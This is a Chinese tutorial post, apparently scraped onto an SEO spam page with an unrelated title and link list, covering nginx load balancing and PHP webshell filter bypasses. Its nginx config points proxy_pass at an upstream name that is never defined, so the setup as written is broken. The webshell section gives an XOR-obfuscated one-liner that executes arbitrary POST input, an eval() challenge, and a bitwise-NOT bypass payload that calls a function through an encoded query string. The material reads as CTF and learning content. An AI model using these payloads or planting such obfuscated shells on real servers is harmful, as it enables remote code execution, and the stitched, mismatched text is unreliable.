当前位置: 首页 > news >正文

中山网站定制公司智能小程序开发工具下载

中山网站定制公司,智能小程序开发工具下载,宜选网的网站是什么做的,彩票类网站开发目录 1.nginx反向代理-负载均衡 1)搭建web项目 2)修改 nginx.conf的配置 2.webshell 实践 1)异或操作绕过 2)取反绕过 3)php语法绕过 1.nginx反向代理-负载均衡 1)搭建web项目 首先通过SpringBoo…

目录

1.nginx反向代理-负载均衡

1)搭建web项目

2)修改 nginx.conf的配置

2.webshell 实践

1)异或操作绕过

2)取反绕过 

3)php语法绕过 


1.nginx反向代理-负载均衡

1)搭建web项目

首先通过SpringBoot+Freemarker快速搭建一个WEB项目:springboot-web-nginx然后在该项目中,创建一个IndexNginxController.java文件

@Controller
public class IndexNginxController {
    @Value("${server.port}")
    private String port;

    @RequestMapping("/")
    public ModelAndView index(){
        ModelAndView model = new ModelAndView();
        model.addObject("port", port);
        model.setViewName("index");
        return model;
    }
}

 在该Controller类中,存在一个成员变量:port,它的值即是从application.properties配置文件中获取server.port值。当出现访问/资源的请求时,跳转前端index页面,并将该值携带返回

前端的index.ftl文件代码

<html>
    <head>
        <title>Nginx演示页面</title>
        <link href="nginx_style.css" rel="stylesheet" type="text/css"/>
    </head>
    <body>
        <div style="border: 2px solid red;margin: auto;width: 800px;text-align: center">
            <div  id="nginx_title">
                <h1>欢迎来到熊猫高级会所,我是竹子${port}号!</h1>
            </div>
        </div>
    </body>
</html>

2)修改 nginx.conf的配置

upstream nginx_boot{
   # 30s内检查心跳发送两次包,未回复就代表该机器宕机,请求分发权重比为1:2
   server 192.168.198.128 weight=100 max_fails=2 fail_timeout=30s; 
   server 192.168.198.1     weight=200 max_fails=2 fail_timeout=30s;
   # 这里的IP请配置成你WEB服务所在的机器IP
}

server {
    location / {
        root   html;
        # 配置一下index的地址,最后加上index.ftl。
        index  index.html index.htm index.jsp index.ftl;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        # 请求交给名为nginx_boot的upstream上
        proxy_pass http://nginx_php;
    }
}

2.webshell 实践

1)异或操作绕过

典型的异或操作绕过,PHP中是可以以下划线开头为变量名的,所以$_代表名为_的变量

<?php
    $_++; // $_ = 1
    $__=("#"^"|"); // $__ = _
    $__.=("."^"~"); // _P
    $__.=("/"^"`"); // _PO
    $__.=("|"^"/"); // _POS
    $__.=("{"^"/"); // _POST 
    ${$__}[!$_](${$__}[$_]); // $_POST[0]($_POST[1]);
?>

执行getFlag函数,通过GET传参,并对code参数进行了字母大小写和数字过滤,这道题就可以用异或操作来绕过

<?php
include 'flag.php';
if(isset($_GET['code'])){
    $code = $_GET['code'];
    if(strlen($code)>40){
        die("Long.");
    }
    if(preg_match("/[A-Za-z0-9]+/",$code)){
        die("NO.");
    }
    @eval($code);
}else{
    highlight_file(__FILE__);
}
//$hint =  "php function getFlag() to get flag";
?>

2)取反绕过 

<?php
$a = "getFlag";
echo urlencode(~$a);
?>

?code=$_=~%98%9A%8B%B9%93%9E%98;$_();

%98%9A%8B%B9%93%9E%98这一串字符串先经过urldecode解码后交给后端处理

取反符号将url解码后的字符串转换成了getFlag,赋值给$_,然后执行,拿到flag

 

3)php语法绕过 

<?php
$a='Z';
echo ++$a;     //AA
echo ++$a;     //AB
?>

 在处理字符变量的算数运算时,PHP 沿袭了 Perl 的习惯,而非 C 的。例如,在 Perl 中 $a = 'Z'; $a++; 将把 $a 变成'AA',而在 C 中,a = 'Z'; a++; 将把 a 变成 '['('Z' 的 ASCII 值是 90,'[' 的 ASCII 值是 91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z 和 A-Z)。递增/递减其他字符变量则无效,原字符串没有变化
 

http://www.15wanjia.com/news/163113.html

相关文章:

  • 玉树市公司网站建设网站建设哪个语言好
  • 网站加支付功能微信小程序免费制作平台软件
  • 网站登陆模板怎么做免费的产品图片网站
  • 做家具厂招聘有哪些网站聊城专业做网站的公司
  • 专业网站制作公司是如何处理一个优秀网站的做平面素材比较好的网站
  • wordpress影视站网站如何快速免费推广
  • 做网站的资金来源网站设计中常见的错误
  • 西安分类信息网站美篇制作app下载官网免费
  • h5美食制作网站模板抚州网站开发机构
  • php网站开发程序学校模板
  • 公司网站名词解释本地视频做成链接网址
  • 化妆品网站建设推广方案新乡网络推广外包
  • 小程序就是做网站建微网站需要购买官网主机吗
  • o2o网站建设公司排名邯郸房地产网站建设
  • 网站建设要注册哪些商标类别互联网技术对人力资源管理的影响有哪些
  • 做海报的网站有哪些内容qq营销网站源码
  • 英文wordpress建站村建站是什么部门
  • 赣县区建设局网站软件开发过程文档
  • 口碑好的福州网站建设pda智能巡检系统
  • 西安网站制作的公司网站用橙色
  • html网站搭建西安建站套餐
  • 网站开发自学流程企业所得税的优惠政策
  • 网站个人微信收款方案django做的网站
  • 电子商务网站建设的实训心得在门户网站上做推广
  • 温州 网站建设游戏网站建设表格
  • 深圳有哪些网站开发公司北京顺义网站建设
  • 深圳好的外贸网站建设公司宣传册模板图片
  • 昆明网站seo多少钱怎么把网站的标题做的炫酷
  • 英语做美食网站永久域名申请
  • 网站地图模板下载wordpress 做手机站